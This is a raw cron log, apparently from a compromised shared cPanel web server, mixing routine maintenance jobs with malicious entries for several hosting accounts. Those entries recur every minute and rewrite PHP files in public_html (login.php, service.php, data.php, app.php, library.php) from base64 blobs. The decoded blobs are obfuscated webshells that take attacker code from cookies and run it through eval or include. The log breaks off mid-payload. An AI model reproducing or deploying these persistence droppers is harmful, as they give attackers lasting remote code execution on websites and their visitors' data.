Mar  2 01:55:01 medusa CROND[13768]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:55:01 medusa CROND[13769]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 01:55:01 medusa CROND[13773]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 01:55:01 medusa CROND[13777]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:55:01 medusa CROND[13779]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 01:55:01 medusa CROND[13775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:55:01 medusa CROND[13781]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:55:01 medusa CROND[13782]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:55:01 medusa CROND[13787]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:55:01 medusa CROND[13766]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 01:55:01 medusa CROND[13778]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 01:55:01 medusa CROND[13789]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:55:01 medusa CROND[13795]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 01:56:01 medusa CROND[17460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:56:01 medusa CROND[17597]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:56:01 medusa CROND[17600]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:56:01 medusa CROND[17603]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 01:56:01 medusa CROND[17604]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:56:01 medusa CROND[17605]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:56:01 medusa CROND[17608]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:56:01 medusa CROND[17618]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:56:01 medusa CROND[17619]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 01:56:01 medusa CROND[17620]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:56:01 medusa CROND[17624]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:56:01 medusa CROND[17628]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:56:01 medusa CROND[17630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:56:01 medusa CROND[17635]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:57:01 medusa CROND[24574]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:57:01 medusa CROND[24575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:57:01 medusa CROND[24576]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:57:01 medusa CROND[24577]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:57:01 medusa CROND[24578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:57:01 medusa CROND[24581]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:57:01 medusa CROND[24582]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 01:57:01 medusa CROND[24584]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:57:01 medusa CROND[24586]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:57:01 medusa CROND[24588]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:57:01 medusa CROND[24589]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:57:01 medusa CROND[24604]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX